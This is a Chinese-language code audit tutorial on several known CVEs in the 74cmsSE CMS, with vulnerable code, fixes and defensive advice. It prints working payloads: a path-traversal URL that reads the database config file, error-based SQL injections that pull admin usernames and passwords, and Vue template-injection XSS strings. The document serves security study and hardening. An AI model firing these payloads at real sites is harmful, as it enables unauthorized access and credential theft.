代码审计&漏洞分析:74cmsSE 系列
字数 1865 2025-08-18 17:33:32
74cmsSE 系列代码审计与漏洞分析教学文档
一、前言
本文档详细分析74cmsSE系统的多个安全漏洞,包括任意文件读取、SQL注入、越权漏洞、XSS漏洞等。通过代码审计和漏洞复现,帮助安全研究人员深入理解这些漏洞的成因和利用方式。
二、环境搭建
- 本地审计环境:MAMP集成环境
- 组件版本:
- Apache 2.4.54
- MySQL 5.7.39
- PHP 7.3.33
三、漏洞分析
1. v3.4.1 任意文件读取漏洞 (CVE-2022-26271)
漏洞位置:Download.php文件中的fread()和fopen()函数
漏洞成因:
- 对输入参数
$url未进行充分过滤 - 直接使用用户可控的输入作为文件路径
关键代码分析:
// 从GET参数获取输入,仅进行trim操作
$url = input('get.url/s', '', 'trim');
$ourput_filename = input('get.name/s', '', 'trim');
// 直接使用用户输入作为文件路径
$fp = fopen($url, "rb");
利用方式:
/index.php/index/download/index?name=index.php&url=../../application/database.php
修复建议:
- 对
$url参数进行严格过滤,禁止../等路径遍历字符 - 限制可访问的文件目录范围
2. v3.5.1 SQL注入漏洞 (CNVD-2022-61443, CVE-2022-33095)
漏洞位置:v1_0/controller/home/Jobfairol.php中的keyword参数
漏洞成因:
- 使用PDO但未正确使用参数绑定
- 直接拼接用户输入到SQL语句中
- 仅对输入进行
trim()操作,无其他过滤
关键代码分析:
$keyword = input('get.keyword/s', '', 'trim');
// 直接拼接用户输入到SQL语句中
$sql = "SELECT `b`.`id` FROM `qs_jobfair_online_participate` `a`
RIGHT JOIN `qs_resume_search_key` `b` ON `a`.`uid`=`b`.`uid`
WHERE `a`.`jobfair_id` = 1 AND `a`.`utype` = 2 AND `a`.`audit` = 1
AND (MATCH (`intention_jobs`) AGAINST ('$keyword' IN BOOLEAN MODE))
ORDER BY `b`.`refreshtime` DESC LIMIT 0,10";
利用方式:
/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=1&keyword=' (select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
MATCH AGAINST结构分析:
MATCH (col1,col2,...) AGAINST (expr [search_modifier])
col:要搜索的列expr:检索的关键字(漏洞点)modifier:搜索模式(可选)
修复代码:
后续版本增加了addslashes过滤:
$keyword = addslashes(input('get.keyword/s', '', 'trim'));
绕过思考:
- 配合代码中的其他操作如
urldecode、base64_decode - GBK编码下的宽字节注入(未成功)
3. v3.5.1 Job.php SQL注入 (CVE-2022-33092)
漏洞位置:v1_0/controller/home/Job.php中的keyword参数
关键代码:
$keyword = input('get.keyword/s', '', 'trim');
利用方式:
/index.php/v1_0/home/job/index?keyword='+(select+updatexml(0,concat(0x1,(select/**/user())),0))+'
其他参数分析:
$tag参数:使用FIND_IN_SET函数,输入被逗号分隔,难以利用$sort参数:仅在特定字段时出现,暂未发现利用方式
4. v3.12.0 越权漏洞 (CVE-2022-41471)
漏洞位置:/application/apiadmin/controller/Admin.php中的edit()方法
漏洞成因:
- 缺乏完善的鉴权机制
- 任何有后台访问权限的用户都可以修改其他管理员密码
复现步骤:
- 创建自定义角色权限(如"ceshi")
- 添加管理员用户并分配该角色(如"ceshi1")
- 使用"ceshi1"登录后台即可修改admin密码
修复建议:
- 增加权限检查,确保用户只能修改自己的密码或具有足够权限
5. v3.12.0 XSS漏洞 (CVE-2022-41472)
漏洞位置:Notice.php
漏洞成因:
- 仅对输入进行
trim()过滤 - 前端未使用
dompurify等过滤库 - Vue.js模板注入导致DOM XSS
利用方式:
{{$on.constructor('alert(1)')()}}
{{alert(1)}}
Vue.js模板注入原理:
Vue.js作为客户端模板框架,会将用户输入嵌入模板中,恶意输入可能被错误解析执行。
6. v3.13.0 文件上传漏洞
分析说明:
- 未成功复现
- 代码中对文件后缀名进行了限制
- 需要进一步研究绕过方式
四、审计总结
-
SQL注入:
- 主要问题:使用PDO但未正确绑定参数,直接拼接SQL
- 关键点:
MATCH AGAINST结构中的表达式注入
-
文件操作漏洞:
- 问题:未过滤路径遍历字符(如
../) - 关键点:
fopen()、fread()等函数的参数控制
- 问题:未过滤路径遍历字符(如
-
权限漏洞:
- 问题:缺乏完善的权限检查机制
- 关键点:功能函数中的权限验证缺失
-
XSS漏洞:
- 问题:输入过滤不足,前端未正确处理
- 关键点:Vue.js模板注入特性
-
审计方法论:
- 从可控点和高危函数出发
- 关注输入过滤和代码逻辑
- 特别注意PDO使用方式(是否真正绑定参数)
五、防御建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制输入内容
-
SQL安全:
- 始终使用参数化查询
- 避免直接拼接SQL语句
-
文件操作:
- 限制可访问的文件目录
- 过滤特殊字符如
../
-
权限控制:
- 实施最小权限原则
- 关键操作增加权限验证
-
XSS防御:
- 输出编码
- 使用DOM净化库如
dompurify
-
安全开发:
- 遵循安全编码规范
- 定期进行代码审计和安全测试